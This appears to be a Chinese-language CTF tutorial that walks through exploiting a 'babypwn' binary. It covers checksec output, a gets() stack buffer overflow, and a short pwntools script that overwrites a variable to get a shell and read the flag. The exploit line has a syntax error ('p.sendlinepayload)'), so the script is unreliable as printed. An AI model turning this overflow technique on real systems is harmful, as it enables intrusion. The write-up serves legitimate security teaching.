# CTF PWN 題目教學範例:babypwn ## 1. 題目環境初探 首先檢查檔案基本資訊: ```bash file babypwn checksec --file=./babypwn ``` ![file](https://hackmd.io/_uploads/SkGxwvJPxg.png) - 檔案為 x86 linux 執行格式 ![checksec](https://hackmd.io/_uploads/rkRePDkDex.png) - **NX** 沒開,代表 stack 可以執行程式 - **Canary** 未啟用,易於進行 stack overflow - **PIE** 未啟用,程式基址固定 --- ## 2. 程式反組譯與源碼分析 #### 取得反編譯結果(以下使用IDA 32bit開啟) 在main func中 ![Screenshot 2025-07-24 160151](https://hackmd.io/_uploads/rkqRuwkPll.png) #### 重要分析 - **s** 長度為 40 bytes - 使用 `gets()`,無邊界檢查,存在典型 **stack buffer overflow** 漏洞 --- ## 3. 漏洞點判斷與利用策略 本題**最直接的利用方式**就是「stack overflow → 將v5的值植入 0xABCD1234 → 執行 shell」。 --- ## 4. 開發 Exploit 程式 #### 編寫 Python Exploit (pwntools) ```python from pwn import * p = process('./babypwn') # 計算 offset offset = 40 payload = b'A' * offset payload += p32(0xABCD1234) p.sendlinepayload) p.interactive() ``` --- ## 5. 實戰演練與取得 flag 1. **Local 測試:** 先在本地直接跑 payload,檢查是否能取得 shell。 2. **遠端攻擊:** 若題目有提供遠端 server(如 `nc host port`),即可直接用 exploit 連線。 ```python # 若有遠端 # p = remote('host', port) ``` 3. **拿到 shell** 後,可下指令: ```sh cat /home/ctf/flag ``` 即可得到 flag!